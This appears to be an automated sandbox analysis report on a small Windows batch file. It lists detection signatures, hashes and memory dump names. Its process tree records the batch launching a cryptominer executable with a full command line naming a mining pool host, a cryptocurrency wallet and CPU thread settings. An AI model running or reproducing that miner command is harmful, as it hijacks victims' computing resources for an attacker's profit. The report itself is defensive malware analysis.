Analysis
- max time kernel
899s - max time network
891s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
24/09/2026, 17:35
General
- Target maza(Copy)(Copy).bat
- Size 198B
- Sample260924-v6c19sxera
- SHA256 09b8bd3a44fae9e53fce45b000e88c41b87e641103dfe3f83eafb64ec691fe9e
Malware Config
Signatures
- Loads dropped DLL 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 64 IoCs
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\maza(Copy)(Copy).bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\zmulti.exezmulti.exe --algorithm minotaurx --pool stratum+tcp://minotaurx.eu.mine.zpool.ca:7019 --wallet ltc1qnac7xhquwtdkg52p87l7f6j7pr9lslfeh0r2vy --cpu-threads 4 --worker rvn --password c=LTC,zap=LCC/MAZA2⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c set3⤵
- Executes a command shell one-liner
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
evb3890.tmp
memory/4184-0-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-1-0x00007FFA2E3AD000-0x00007FFA2E3AE000-memory.dmp
memory/4184-2-0x00007FFA2E310000-0x00007FFA2E505000-memory.dmp
memory/4184-3-0x00007FFA2E310000-0x00007FFA2E505000-memory.dmp
memory/4184-4-0x00007FFA2E310000-0x00007FFA2E505000-memory.dmp
memory/4184-5-0x00007FFA2E310000-0x00007FFA2E505000-memory.dmp
memory/4184-6-0x00007FFA2E310000-0x00007FFA2E505000-memory.dmp
memory/4184-11-0x00000002E3650000-0x00000002E366F000-memory.dmp
memory/4184-12-0x00007FFA2E310000-0x00007FFA2E505000-memory.dmp
memory/4184-9-0x00000002E3650000-0x00000002E366F000-memory.dmp
memory/4184-10-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-13-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-14-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-15-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-18-0x00007FFA2E310000-0x00007FFA2E505000-memory.dmp
memory/4184-16-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-19-0x00007FFA2E310000-0x00007FFA2E505000-memory.dmp
memory/4184-29-0x000002729DD70000-0x000002729DD79000-memory.dmp
memory/4184-17-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-31-0x00000002E3650000-0x00000002E366F000-memory.dmp
memory/4184-30-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-33-0x00000002E3650000-0x00000002E366F000-memory.dmp
memory/4184-32-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-35-0x00000002E3650000-0x00000002E366F000-memory.dmp
memory/4184-34-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-36-0x00007FFA2E3AD000-0x00007FFA2E3AE000-memory.dmp
memory/4184-37-0x00007FFA2E310000-0x00007FFA2E505000-memory.dmp
memory/4184-38-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-40-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-42-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-44-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-47-0x00000002E3650000-0x00000002E366F000-memory.dmp
memory/4184-46-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-48-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-50-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-52-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-54-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-56-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-58-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-61-0x00000002E3650000-0x00000002E366F000-memory.dmp
memory/4184-60-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-62-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-64-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-67-0x00000002E3650000-0x00000002E366F000-memory.dmp
memory/4184-66-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-68-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-70-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-72-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-74-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-76-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-78-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-81-0x00000002E3650000-0x00000002E366F000-memory.dmp
memory/4184-80-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-82-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-84-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-86-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-88-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-91-0x00000002E3650000-0x00000002E366F000-memory.dmp
memory/4184-90-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-93-0x00000002E3650000-0x00000002E366F000-memory.dmp
memory/4184-92-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-95-0x00000002E3650000-0x00000002E366F000-memory.dmp
memory/4184-94-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-96-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-98-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-100-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-102-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-104-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-107-0x00000002E3650000-0x00000002E366F000-memory.dmp
memory/4184-106-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-109-0x00000002E3650000-0x00000002E366F000-memory.dmp
memory/4184-108-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-111-0x00000002E3650000-0x00000002E366F000-memory.dmp
memory/4184-110-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-112-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp
memory/4184-115-0x00000002E3650000-0x00000002E366F000-memory.dmp
memory/4184-114-0x00007FF750BA0000-0x00007FF753C02000-memory.dmp